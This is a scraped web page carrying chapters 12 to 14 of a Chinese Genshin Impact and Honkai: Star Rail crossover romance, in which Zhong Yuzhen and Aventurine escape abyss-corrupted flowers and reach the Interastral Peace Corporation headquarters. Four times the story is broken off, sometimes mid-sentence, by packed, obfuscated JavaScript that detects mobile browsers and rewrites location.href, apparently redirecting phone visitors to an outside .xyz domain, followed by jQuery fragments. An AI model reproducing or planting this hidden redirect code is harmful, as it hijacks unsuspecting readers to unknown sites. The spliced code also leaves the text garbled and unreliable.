;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15598691|171967||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走的是哪条路,“要不然……我们回去吧?都走了这么久了,别说人了,连个虫子都没看到。” “小姐——” 阴森的呼吸在钟羽蓁脑后响起,她浑身一激灵,差点跳到了砂金身上。 夜明珠照亮钟羽蓁身后那人,半张脸长的疤像一条蜈蚣一样爬在他的脸上,钟羽蓁咽咽口水,“你……是人是鬼?” “别害怕小姐,明旭虽然相貌丑陋,但确实为人。”明旭颤抖着手指指了指身后的路,“请……帮帮我的妻子,她就在这条路的尽头。” 钟羽蓁和砂金对视一眼,影子在石壁上摇曳,砂金轻笑一声,钟羽蓁才发现自己捧着夜明珠的手在颤抖,她咳两声:“这个……举久了,有些累。” “我来吧。”砂金接过夜明珠,“那位仙人,是你喜欢的人吧?” 钟羽蓁:“哪位仙人?萍姥姥吗?” 砂金:…… “噢,魈啊!他……”钟羽蓁的注意力被角落里一株枯黄的花吸引过去,“难怪总感觉空气中有一种芳香,原来是甜甜花呀!” 砂金看了一眼在绝境中生长但失败的花,发现明旭不知何时停下脚步,目光灼灼地盯着钟羽蓁。 就像,在看…… 一块肥肉。 有意思。 砂金侧过头,钟羽蓁已经走到了甜甜花旁,垂着深绿色花茎的花悄然重生,又归于枯萎。 一切变化只发生在瞬间。 看上去……像是丰饶的力量。 但又不完全相同。 砂金细细打量一番,确认钟羽蓁身上没有神之眼,将答案锁定在她脖子上系着的项链上。 那颗小小的石头,能保护她,莫非还有起死回生之效? 总不可能是因为……她不是提瓦特的原住民吧? 又沉默着走了一段距离,钟羽蓁开始有些累了,当然,撇开“明旭”一次又一次说的“就在前面了”不提,最让她觉得不对劲的,是矿洞里越来越多的甜甜花。 这里的甜甜花,甚至比璃月山崖上阳光最茂盛的地方生长得还要多。 “明旭”的精力越来越旺盛,不知道是不是钟羽蓁的错觉,她觉得他的腿似乎都不瘸了。 钟羽蓁有一种不好的预感,她扭头想跟砂金说话的一瞬间,总算发现了甜甜花“重生又凋零”的不对劲。 为了确认,她往后一退,果然看见以她为圆心,花开又花谢。 “喂,砂金,你不觉得这些花……”钟羽蓁见砂金一副并不奇怪的样子,明白他早就发现了,有些恼怒他一直在看戏,无语地翻了个白眼。 钟羽蓁停下脚步,察觉不对劲的明旭也回过头来:“怎么了,羽蓁小姐?是累了吗?劳烦您再坚持一会,往前走几步马上就到了。” “我好像……没有跟你说过我叫什么名字吧?” 明旭一愣,笑道:“羽蓁小姐的大名在璃月港如雷贯耳,我怎么会不知道呢?” 钟羽蓁伸手从小尘歌袋握住长柄,“我在璃月港确实比较有名,不过——” “明旭叔你常年在层岩巨渊工作,连归家的日子都少有,又是怎么认识我的呢?” 12. 第12章 明旭的笑容慢慢消失,他直勾勾地盯着钟羽蓁,并没有因为身份被拆穿而恼羞成怒,眼里反而透露出…… 一丝兴奋。 砂金习惯性从口袋里拿出一枚筹码,让它在指尖跳跃。 虽然一切不是按照他计划的步骤进行的,但他无所谓过程。 赌徒只在乎结果。 只在乎是否赢得漂亮、完美。 钟羽蓁长叹一声,将思绪捋清:“是我的问题,担心则乱。我因为想把‘明旭’平安带回去,而忽略了很多细节。现在想来,这些计谋实在是……弱智。” 砂金挑眉,他眉眼间的舒展,以及嘴边那抹耐人寻味的笑,都在向钟羽蓁传递一个事实:他早就发现了,却还是任她做决定。 钟羽蓁捏紧拳头,恨不得给砂金一个飞踢,最终只是冷哼一声,掏出长柄看着“明旭”:“你说妻子受伤需要我们帮忙,可你若真是明旭叔,必定比我们都了解层岩巨渊,知道对面几十米的距离就有采矿工人在工作,他们比我和砂金力气都要大,但你……却偏偏选中了我们。” 钟羽蓁深呼吸一口,胸腔里莫名堵得慌:“明明是第一次见面,却知道我的名字。没少跟踪我吧?” “这里这么多甜甜花,而我只需要站着它们就能重新绽放。你引诱我过来,是想借我的力量让它们重生吧?” “——我想了很久,为什么呢?甜甜花这么多,没必要为此搭上人命吧?” 钟羽蓁分神聍听着脚旁甜甜花抖擞枝叶的声音,突然眼皮一掀:“你们不是甜甜花,是骗骗花!” 回应钟羽蓁的,是甜甜花钻进土里再冒出来时的带着的火焰。 黄白色柔弱的甜甜花旋转着变成了一株株燎人的火系骗骗花,红色的光瞬间掩盖住了夜明珠的光芒。 钟羽蓁和砂金背靠着背,看着满矿洞越来越多的骗骗花,神情都开始凝重了起来。 钟羽蓁小声嘀咕:“奇怪,没听说骗骗花会变成人啊。” 这个问题,砂金自然更加不清楚了。 他看着“明旭”身上释放的似曾相识的力量,确认自己没有猜错。 “深渊……”钟羽蓁用长柄指着“明旭”,仔细一看,果然这些骗骗花的红色火焰里都夹杂着深渊的力量,“原来是深渊让你拥有了‘变成人形’的力量!” “明旭”消融在深渊黑紫色的烟影中,以骗骗花的模样面对钟羽蓁:“虽然不清楚你为什么能让被深渊腐蚀的骗骗花复活,但是——你得留下来,做我们的养料!” “明旭”几个闪现,将远处的甜甜花“尸体”带至钟羽蓁附近,很快,甜甜花原地扎根土壤复活,变成半人高的骗骗花大军,将退路彻底堵住。 砂金问:“「深渊」,是什么?” “嗯……一种来自世界之外的力量。”钟羽蓁没想到还有人的好奇心比她更强,“虽然我们大概率很难活着出去了,但你心态是不是……太好了点?” 世界之外。 原来是这样。 砂金释然轻笑,难怪能划出一个穿梭点,还能让他在本应没有信号的异大陆进行星际通讯。 骗骗花钻进岩石地里,闪现到钟羽蓁身后,钟羽蓁挥出长柄斩断,余光轻扫,没有回眸,一个飞踢将身侧的另一株压弯。 她将砂金保护在一米的圈内,没有笑意的脸上满是杀气。 和面对愚人众时完全不同。 砂金好整以暇地掸去不知何时落在他毛领上的灰:“这才一天的时间,羽蓁小姐的……功夫就精进了不少。” “错了。不是精进,我的实力本就如此。”钟羽蓁一边击退骗骗花,一边解释,“只不过面对活生生的人,我总归是不太好下死手的。” 砂金笑道:“朋友,别人想要你的命,你却在担心会不会伤到他们。太善良了,可是会成为别人回击的回旋镖的。” “你怎么跟魈说一样的话……”钟羽蓁撇嘴,而后旋转长柄解决掉砂金身后的骗骗花,眉眼间明媚的色彩比火焰还要燎人,“不过爹爹说,善良不是为了给自己留一丝‘日后好相见’的退路,而是——希望自己能问心无愧!” 砂金失神一瞬,没有反驳。 多吃几次亏就长记性了。 他笑着摇摇头,拿出手机,将定位发出去,抬头的一瞬间,看到钟羽蓁转身拿着长柄朝他挥来—— 她的身后,半人半花的“明旭”手里握着一柄散发着黑紫色光的铁锄头。 钟羽蓁用余光往后瞥了一眼,没有犹豫,长柄穿过砂金颈后的骗骗花花茎,骗骗花一阵抽搐,倒在地上,又重新开始缓慢复活。 在“明旭”朝钟羽蓁挥出带有深渊力量的铁锄头的一刹那,砂金眸光微暗,用「存护」独断了钟羽蓁背后的所有威胁。 铁锄头砸在无形的障壁上,“明旭”被弹出一段距离。 钟羽蓁看着暂时被隔绝在屏障外的骗骗花,有些诧异:“这个……是岩系神之眼吗?” “不,是「存护」的力量——来自琥珀王的恩赐。”砂金伸展双臂,彩色的眼里盛满狂热,“对你们而言,也算是世界之外的另一种力量。不过,不会像深渊那样任意降临、腐蚀生物。” 钟羽蓁对砂金这亮相般的动作很是无语,她抱着手臂:“你既然有这能力,干嘛看着我一个人跟骗骗花打这么久?!” “我这不是在安排撤退的事情吗?”砂金捻起壳上镶着宝石的手机,轻轻晃了晃,“朋友,我这道障壁坚持不了多久,有没有兴趣听听我的‘撤退计划’?” 钟羽蓁环顾四周,光是眼前能看见的范围就有四条路,就更不用提接下来有可能面对的岔路口有多少了。 她猜测砂金手里的精致玩意是类似指南针的东西,问道:“你是说……这东西能带我们走出层岩巨渊?” 砂金点亮屏幕:“很不幸,星际地图上没有关于提瓦特的记录。” 虽然砂金很自信,他只靠运气就能找到正确的路走出去。 但这并不是他的计划。 对话框里传来「可传送」的勘测通知,砂金确定他的猜测没有错,将只有一个选项的选择题交给钟羽蓁:“公司能借助深渊的力量在这里短时开通一个可以穿梭的隧道,经由时空隧道,我们能随机通往一个与公司有合作的星球。” 钟羽蓁听得云里雾里的。 隧道是哪种隧道?穿梭又是什么意思,像沉玉谷仙山里变成金鲤鱼穿过水珠、传说中须弥连接四叶草印的那种快速移动方式吗? “‘明旭’早就死了,逸嘉看到的他是骗骗花变的。算下来,你答应逸嘉的事情就是做成了。”砂金看着不断往障壁上涌的骗骗花群,温馨提示道:“与其在这里浪费时间另寻出路,不如考虑考虑我的提议,对吧,羽蓁小姐?” 钟羽蓁怎么听都觉得这话像是在威胁。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15598692|171967||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她挑眉,见砂金无辜摆手,他脸上是真诚的笑,但眼里的笑意并不达眼底。 时间紧迫,钟羽蓁只能点头,她从小尘歌袋里唤出魈送她的那只「岩桂月出玄凤」:“等我一下。” “请便。正巧我这边开启穿梭通道还有些事情需要确认。”砂金连接蓝牙,通过隐藏在金发里的耳机询问道:“传送终点可以确认吗?” 钟羽蓁调整玄凤折纸,寻了个显示不到骗骗花的角度,让折纸记录下她的残影:“幸好我之前研究过怎么用折纸传递消息……嗯,这个角度不错,魈!我要跟一个朋友去一趟提瓦特大陆之外的地方,如果爹爹找不到我……你想办法帮我圆一下,我很快就会回来的!” 说完,钟羽蓁在心里默念咒语,指挥玄凤折纸穿过骗骗花群。 剩下的事情,就不需要钟羽蓁担心了。 折纸除了辟邪,最擅长的就是寻找魈的位置了。 砂金的耳机里传来手下有些犹豫的声音,断断续续的:“砂金总监……要不然您……再等等?这几天我们已经在您上次发的定位处留下了穿梭机,但……那个地方……距离您现在的位置,还是有些距离的。如果采用您新想好的方案……风险太大了,很有可能……会迷失在星际中。” 砂金问:“距离我上次发的定位,有多远?” “稍等,我马上计算。嗯……没法获得精确数据,但能确定是在一千米以内。” 砂金看了一眼钟羽蓁,她已经准备好了,正在好奇地歪着脑袋打量着他的耳机,砂金思忖几秒,很快就做出决定:“我知道了。我会尽快赶到穿梭机处的,你现在远程将各项工作指标查询一遍,确保不会出现岔子。” 挂断电话,砂金打开地图,一片黑上,出现两个红点,一个是他出现在提瓦特的定位,一个是他现在的位置。 钟羽蓁问:“现在我们可以出发了吗?” “可以出发——前往上车点了。”砂金锁定一个方向,决定靠运气闯出一条路来。 “等等,我的折纸回来了……”钟羽蓁忐忑地伸手,泛着青色光芒的玄凤落在她手心,里面传来魈有些无奈的声音—— “跟着不认识的人去陌生的地方,你胆子可真大。” 还是钟羽蓁印象中熟悉的清冷声音,魈叹了口气,似乎有些头疼,而后叮嘱道:“照顾好自己。帝……你爹那边,我会尽量帮你圆话的。” 钟羽蓁长舒一声,将玄凤折纸扔进小尘歌袋里,发现砂金低头在深思,她问:“怎么了?该不会是……穿梭不了吧?这罩子可马上就要裂了。” “没什么,只不过在想一件无关紧要的事情罢了。” 砂金迈出步伐,凭感觉带着钟羽蓁朝前走去:“引擎已经开始加热,我们得走快点了。” 钟羽蓁不懂砂金在说什么,只能一昧地快步跟在他身后,因为光是跟上他那双大长腿,就让她觉得有些……恼火。 骗骗花还在不死心地往上窜,“明旭”为了留住钟羽蓁,不断往她附近扔骗骗花的尸体。 再怎么坚固的屏障也很难抵挡住“人海战术”。 钟羽蓁有些惆怅,正担心着,猝不及防撞上了砂金的背。 砂金转身,没有在意,他指着面前莫约两米高、直径不到半米的机器,轻咳一声:“我们得靠穿梭机离开,时间有限……公司传送过来的穿梭机比较小。待会,你记得抱紧我。” 13. 第13章 “……你是认真的吗?”钟羽蓁问。 钟羽蓁抱着双臂,满脸质疑,她合理怀疑,砂金想占她便宜! “朋友,我也不想这样。”砂金摊手,将给下属扣工资记在行程安排里,“穿梭机高速运转的时候,人需要尽量保持稳定。因为提瓦特大陆与公司不存在合作关系,且准备时间有限,所以只能通过小型穿梭机来进行跃迁。” 钟羽蓁似懂非懂地看了一眼岌岌可危的屏障,大概计算了一下,这穿梭机可能就两个她圈着手牵成圆那么大。 就算她不抱着砂金,他们俩也得……离得很近。 “明旭”虽然不清楚面前那不知何时出现在深渊里的机器是什么,但他很清楚钟羽蓁快要逃脱了,于是用足了蛮劲,对着障壁使力。 钟羽蓁认命地点头:“走吧。” 不就是抱一下嘛? 她还天天抱胡桃、香菱和锅巴呢! 存护的障壁将穿梭机笼罩住,钟羽蓁率先踏进去,砂金跟在她身后,他进舱的一瞬间,穿梭机便稳步关上了门。 穿梭机外壳是独特的金属材质,内部却经过精细调试,做了软处理,钟羽蓁只感觉自己后背靠在棉花上。 她离砂金很近,近到几乎能感受到他的呼吸、能闻到他身上诱人到让她耳羽蓬松雀跃的香味。 钟羽蓁咽了咽口水,下意识想往后退。 却发现自己退无可退。 穿梭机左侧有一面透明装置,能看见外面的情况。 钟羽蓁为了舒缓加速的心跳,瞥开了视线看着外面,正巧和龇牙咧嘴的“明旭”对视上。 远离了钟羽蓁,部分骗骗花像脱线的风筝一样倒在地上。 “明旭”不死心地用铁锄头在穿梭机外壳上一下下挖着,钟羽蓁朝它吐了吐舌头,催促砂金:“可以出发了吗?” “没问题。”砂金见钟羽蓁始终离他保持着一拳宽的距离,也不强求,通过耳机向下属传递消息,“启航吧。” 没有任何预兆,穿梭机突然飞奔向提瓦特的星空,钟羽蓁脚下一软,脸色慌张地抱住了面前唯一可以维持平稳的物件—— 砂金的腰。 微妙而独特的琥珀香迅速占领了钟羽蓁的全部呼吸,她勾紧手指,咬唇抱紧砂金精窄劲瘦的腰,听见自己的心跳清晰地沿着血液传至脑海。 砰砰,砰砰。 似乎有什么东西快要从胸腔里跳出来了。 钟羽蓁想起爹爹安稳的怀抱,想起小时候假装走不动让魈背她的时候,想起她自然地抱住香菱和胡桃。 这些加起来都不会让她心跳快到如此地步。 就像茶叶扔进水壶里,翻滚沸腾。 浑身轻飘、软绵。 砂金本想打趣几声,但钟羽蓁扑进他怀里的一刹那,砂金感觉自己的心跳漏了一拍。 喉结滚动。 砂金微张着双臂,向来擅长交际的他,一时之间竟找不到什么话题。 于是,砂金默默在两人边上加了一层障壁,维持着绅士手,缓缓闭上了双眼。 他听见越来越急促的心跳,不知道是谁的。 没过多久,穿梭机开始减速,稳稳落在地上,检测到周身环境安全指数达标后,自动变形成一匹机械马。 钟羽蓁感觉四周空气微凉,为她红烫的脸颊降温不少。 她睁开眼,确认安全着陆,像被电击了一样,离砂金远了好几步。 庇尔波因特星球。 人流量、车流量最多的广场上,清丽的少女与精致的青年旁若无人地相拥。 ——正在通过星际频道为新入职的员工进行短暂培训的托帕刚买了杯咖啡,转过身看到的就是这一幕。 和托帕同样看得津津有味的还有星际和平公司的一众员工们。 正值午休时间,他们出来觅食,就见一架穿梭机降临广场,里面…… 是一对缠绵旖旎的小情侣。 明媚灵动的女孩子意识到穿梭机到达了目的地,害羞地推开男朋友。 众人看得合不拢嘴,还有甚者掏出手机为这对般配小情侣拍照记录。 然后,他们看清楚了金发青年的着装和模样—— 以黑绿色为主要色系的西服,修长的银色裤子,独特的黑桃元素,孔雀尾巴般随风轻飘的大衣下摆,耀眼闪烁的宝石装饰。 独一无二的绚彩眼眸。 还有那道,绝对权威的存护障壁。 “砂……砂金总监?” 在一阵咔嚓拍照声中,有人发出了这样一声不确定的疑问。 托帕停下脚步,跟随大家的视线看了一眼,差点把刚喝进嘴里的咖啡喷了出来:“砂金?!” 在众目睽睽之下……约会? 怪猎奇的。 不过,很符合他的个性。 托帕多看了两眼,只能看到少女被风吹起的裙摆和与阳光融为一体的金色长发。 虽然很好奇,但托帕更愿意花时间在工作上,她收回视线,脚边的账账却突然眼冒金光,像察觉到什么宝物似的,朝砂金和他的小女朋友跑去。 “——账账!” 托帕头疼地简单交代完签合同前需注意的事项,挂断会议,小跑着跟在账账身后,祈祷她别毁了砂金的约会。 砂金显然也注意到了路人的目光,他淡笑着摊手:“放轻松,朋友,我们运气很好,没有被随机传送到什么奇怪、贫穷的星球。这里是庇尔波因特——公司的总部。重新自我介绍一下,不才砂金,隶属星际和平公司「战略投资部」。” 钟羽蓁仔细品读几番这段话,平复了一下心情,看着砂金:“你从出现在我面前开始,说的所有话就都是谎言对吗?与族人分别、想获得财富和幸福,也都是骗我的对吧?” 胸口微微起伏,钟羽蓁用长柄抵在砂金脖子旁:“说吧,把我带到这里来的目的。” 两人说话的功夫,一只跑得飞快的小动物围着钟羽蓁的脚转圈圈,钟羽蓁用余光看了一眼,发现是一只戴着黄金面具的黑色小猪。 “……账账?”砂金愣了一下,并没有因为钟羽蓁的举动而觉得受威胁,反而笑着摘下一枚宝石戒指,扔给了账账。 账账张嘴接住,开心地嚼了起来。 钟羽蓁:? 托帕小跑上前,把账账抱在怀里,解释道:“不好意思,账账可能是饿了,打扰你们约会了。” 砂金闻言,指了指架在他脖子上的长柄:“托帕总监是从哪里看出来我和羽蓁小姐在约会的?这情况,不摆明了是我在受欺负吗?” “砂金总监,这柄武器离你那脆弱的脖子至少有五公分的距离,你觉得这位小姐像是会对你下手?”托帕扬了下嘴角,算是跟钟羽蓁打招呼。 对于这两人的举动,托帕并不觉得奇怪。 毕竟,砂金这种做什么都仿佛游刃有余的人,在大街上玩些情侣间的小把戏,也挺符合他的性格的。 钟羽蓁收好长柄。 站在她面前的是一位身穿连体皮衣的少女,银色短发中挑染了一抹绯红,使得整个人看上去干脆且飒爽。 托帕伸出手:“你好,我是砂金的同事托帕。” “你好,我叫钟羽蓁。” 钟羽蓁跟砂金的谈话因为托帕的出现宣布结束,她跟着砂金和托帕走进公司大楼,被安置在了一个豪华的待客室。 一路上,钟羽蓁都饱受打量,路过的,只要是个活物,都会朝她看两眼。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15598693|171967||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 钟羽蓁有些头疼,她坐在沙发上,品了一口桌上泡的茶,觉得不如璃月的醇厚芳香。 桌上摆满了钟羽蓁没见过的甜点,她起身想出去打探一下四周的环境,不料推开门,和门口穿着西装、捧着资料的年轻男人对视上。 钟羽蓁:“……你好,请问一下厕所在哪?” 年轻男人先是目光一紧,听清楚钟羽蓁的话后,松了口气:“就在走廊尽头。” “我长得很可怕吗?”钟羽蓁指了指自己。 “没有没有!”年轻男人连连罢手,生怕钟羽蓁误会,解释道:“我只是看你和砂金总监走得很近,还以为是过来给我安排任务的。” “哦……你是砂金的手下?” 年轻男人摇头:“准确来说,我是托帕总监的下属。不过砂金总监要是有什么事情,也可以找我!你知道的,实习生就是牛马,哪里需要往哪钻!” 钟羽蓁觉得很有意思:“你是托帕的下属,但更怕砂金一些?” “这不是久闻砂金总监盛名,有些惶恐嘛。你知道的,砂金总监喜欢高风险、高收益的投资,传闻中他总是铤而走险,我当然会怕自己被要求完成高难度的任务咯。” 所以他接近她,应该也是为了某项任务吧? 钟羽蓁没有了攀谈的兴趣:“原来是这样,谢谢你指路。” 旋转楼梯露台前,砂金正在和托帕进行谈话。 托帕稍微侧头就能看到钟羽蓁从走廊上走过的身影,她蹙眉重新看向砂金:“一批医术最先进的医生?为什么?” “看医生,自然是因为身体出现了某些不太好的症状。”砂金背靠着栏杆,两只手倚在扶手上。 “公司有这些资源,你自己走申请流程就行。而且——你现在不是正在休假吗?不至于连这个时间都没有吧?” 砂金理所当然:“托帕总监,我的时间是很值钱的。” 托帕:“……” 梦幻迷离的灯光、由小把手控制的出水口、干净整洁的瓷器马桶,以及水池旁散发着香味的洗手液。 钟羽蓁将眼前的一切看在眼里,思索能在提瓦特发家致富的商机。 她洗干净手,从大厅面板上花花绿绿的数字、上班人嘴里的话题,猜测出这个星球的通货手段是:信用点。 钟羽蓁找了位一直偷偷打量她、看上去面色比较和善的青年男人:“你好,请问一下你知道附近有什么典当铺吗?” “典当铺?您要典当什么?”青年男人见钟羽蓁本人也和长相一样没什么攻击性,没忍住问道:“砂金总监对女朋友这么抠门的吗?都不给你转几百万信用点花?啊……真是没想到,明明大家都说他大方得可怕来着。” 说他们在约会也就算了。 她什么时候跟砂金在谈恋爱了?! 这谣言也传得太快了吧…… 钟羽蓁撇嘴:“我跟砂金不是你们以为的那种关系。” “不会吧……砂金总监私底下也玩得这么花吗?” 什么跟什么啊。 钟羽蓁说回正事:“砂金他很有钱吗?” “当然了!公司的总监,「石心十人」,哪一个不是账户上信用点的数字长得数不过来呢?” 钟羽蓁正想问什么是「石心十人」,就听见眼前这位目光盛满憧憬的男人羡慕地道:“加油,只要你努力跟砂金总监确立关系,等你们结婚的时候,说不定他会为你买下某个星球,作为你们的婚房!” 钟羽蓁缓缓翻了个白眼。 哥们,那可是星球,从理论上来说,和提瓦特一样的地方。 是你说买就能买的吗? 你可是要成为商业精英的人,少看点爱情小说啊! 14. 第14章 青年男人说着,没忍住多看了钟羽蓁两眼,在脑海里默默填补上她和砂金站在一起的般配模样,脸上情不自禁挂着姨母笑,嘴角上扬的弧度看得钟羽蓁一阵毛骨悚然。 怎么……看上去像个慈祥的老奶奶? 钟羽蓁摇摇头,将这奇怪的念头甩掉,她正想打听打听信用点和摩拉之间的兑换比,身后传来皮鞋踩在地板上越来越近的清脆声音。 与此同时,她对面的青年男人倏地收敛笑容,拘谨地站直身体:“砂……砂金总监!” 知道自己从头到尾被套路,钟羽蓁很难再有好脸色,她抱着双臂转身看向砂金:“你跟托帕谈完了?那现在是不是该聊聊我们之间的事情了?” 不见到砂金还好,一近距离看见他,钟羽蓁就觉得满肚子怒火。 她那么相信他,一直把他保护在身后,连分红都打算多给他一些,他却一直在演戏,一直在玩弄她的感情! 因为在此之前没有受过骗,钟羽蓁有些不知道如何处理情绪。 她看着砂金,微仰的眼眸里含着细碎泪光,像是受了天大的委屈。 砂金微愣,下意识放柔了音色:“不着急,我先带你到处逛逛,好不容易来一次,总得买些纪念品回去。” “不用了。”钟羽蓁警惕地摇摇头,“要我做什么,你直说就是。” 砂金自认为不算过分:“我答应你的事情做到了,也没有违背过契约。羽蓁小姐用不着对我如此防备吧?” “没有违背契约就能骗人了吗?” 气氛突然变得剑拔弩张起来,青年男人咽咽口水,屏住呼吸悄悄绕路溜走了。 “我没有骗你。”砂金看着钟羽蓁,光线将他的脸分割成明暗的两部分,看上去悲伤又疏离,“我说‘跟族人走散’,是因为他们……都死了。想请你帮的忙,也的确攸关性命。你知道的,赌徒的赌注,从来都是自己的命。” 有了前车之鉴,砂金的每一句话钟羽蓁都会细细品味。 她明白自己没法对砂金冷眼相待,但听到这话还是蹙了蹙眉:“你已经有这么多信用点了还在赌,简直是……算了,这跟我没有关系。反正,我答应帮你做一件事,就不会反悔。” 早点完事早点分道扬镳。 “不急,我这边还没安排好。出去逛逛吧。” 砂金知道钟羽蓁不习惯星际间的生活,怕她无聊,于是带她来到了一家手机店。 高耸的建筑物林立在穿梭的悬空轨道之下,巨大的广告牌上播放着星际的最新投资风向,斑驳交织的霓虹灯映在机械大门上。 在这里,庇尔波因特星球,就连垃圾桶都尽显科技与艺术的融合。 “砂金总监!”看见砂金,接待员立马眼睛一亮走上前来,“许久不见,您可真是风采依旧啊!要不要……看看我们的最新款手机?超长待机、信号全覆盖,内存足够、像素顶级,只要5万信用点!” 钟羽蓁看着他在一块小型机械面板上划来划去,觉得很有意思。 但,五万! 这比凝光还会赚钱吧! 接待员还想推荐推荐,砂金点头:“那就这款。” 他侧头发现钟羽蓁的目光被一旁款式多样的手机壳墙所吸引,伸手邀请道:“选点喜欢的手机壳吧。敲不定主意的话,可以多买几个。” 接待员眼睛一转,精明地看出今天购物的主角是钟羽蓁,见她穿着像是仙舟人,立马笑着拿出一款手绘的金波流转的山水手机壳:“小姐,您看看这一款,是由知名画家……” 钟羽蓁只看了一眼就不感兴趣地撇开头,她的目光落在手机壳墙上的宝石上,再一看正在低头回信息的砂金,他的手机壳上也镶嵌着奢华的绿色、白色的宝石。 手机,钟羽蓁不感兴趣。 手机壳,她也不感兴趣。 她喜欢的,是那些亮闪闪的宝石! 钟羽蓁凑到墙前,有些纠结地指了几颗璀璨斑斓的黄色石头:“我喜欢这颗、这颗,嗯这个白色的也不错。” “您眼光可真好,这些都是天然的黄钻,最上方的那颗,是本店的镇店之宝,由店主在拍卖会上所买,价值一亿三百万信用点!”接待员觉得自己的暗示到位了,他不想付钱的时候顾客发现支付不起,从而闹乌龙。 笑容依旧,接待员估摸着钟羽蓁的身价,为她选了些价位在百万以下的宝石所介绍。 功能那么多的手机才五万,钟羽蓁自然能懂一亿三百万信用点是什么概念。 但她存心看砂金为难,于是仰着脑袋指了指最上面那颗,目光跟刚回完消息的砂金在空气中交汇:“我喜欢那颗。” 砂金从西服内衬里掏出黑卡,递给接待员:“买了。” “那……那那颗黄钻吗?”接待员有些不敢相信自己的耳朵。 砂金说:“她刚才指的所有宝石。” 看接待员颤抖着手刷完卡、还给砂金,钟羽蓁歪头将脑袋支在黑色的漆皮沙发上,觉得索然无味,懒懒地打了个哈欠。 她还以为砂金会尴尬地询问她,能不能换一颗便宜的。 等待手机壳定制的工程,砂金将自己的号码存进钟羽蓁的手机里。 钟羽蓁很快就好奇地凑过来,拿着手机研究去了。 「钟羽蓁」 电子屏幕上显示出钟羽蓁发过来的名字,砂金惊讶于她的学习能力,将她的名字存在备注里,无意识间开始认真打量起了她的面容。 不施粉黛的五官稠丽而精致,鸦羽下剔透明亮的眼眸灵动俏皮,嘴唇如柔软的玫瑰花瓣,再配上那头宛如葵花般的金色长发,就算是公认俊美的砂金第一眼看到,都没忍住微愣。 尤其是那双仿佛含着光的眼睛,像黑夜后第一缕破晓的希冀晨曦。 没有诡计,澄澈透明,一看就是被保护得很好。 砂金将钟羽蓁安排在他隔壁的酒店里,原本以为钟羽蓁会想到处逛逛,不料她很快就沉迷于手机上的各种小游戏。 下午的时候,砂金敲响钟羽蓁的房门:“我想请羽蓁小姐帮忙做的事,可以准备开始了。” “什么?”钟羽蓁正在游戏里跟敌人杀得难舍难分,抬头问了一句。 “我需要从你身体里取出一样东西。” 游戏进入尾声,靠队友就能取得胜利,钟羽蓁停下手里的操作,蹙眉抬头:“什么东西?不会是……器官吧?!” 钟羽蓁曾在白术大夫那看过类似的医书,内容为对更换器官的设想,但要求极为严苛,基本上是不可能的事。 虽然这个星球看上去科技很先 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15598694|171967||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进,但真要在身体上扎针用药,钟羽蓁还是很抗拒的。 “不是器官,这个是对羽蓁小姐而言无足轻重的东西罢了。” 钟羽蓁似信非信地点了点头。 医疗区独占一幢高楼,墙壁同样是特殊金属打造的,一走进大门就能闻到刺鼻的消毒水味。 钟羽蓁由一位穿着白大褂的护士领进检查室。 屋内静悄悄的,只有和她一样忐忑等待的患者和穿梭个不同的工作人员。 砂金在外面大厅里处理工作,钟羽蓁进来的时候,他似乎正在跟下属通话。 仪器的声音在空旷的房间里显得格外明显。 钟羽蓁看着像棺材一样的、被他们称为“医疗舱”的东西,抗拒地往后一退。 领她进来的护士用一种冰凉而不耐烦的声音催促道:“都成年了,还怕什么检查?进去躺好。” 成年了就不能怕生病吗? 更何况她还不是患者呢。 钟羽蓁感觉呼吸有些困难,不通风的屋子像个巨兽一样束缚着她。 见她不说话仍然站在原地不动,护士不耐烦地“啧”了一声,准备上前来把她推进去。 就在钟羽蓁准备反抗时,敲门声响起,砂金从屋外走进来:“抱歉,听说家属可以陪同检查,我进来不算违法医院规定吧?” 三个医疗舱前的护士看清楚是谁后,几乎在同一时间扬着笑点头道:“当然不算!” 同样是患者,居然这么明目张胆地差别对待。 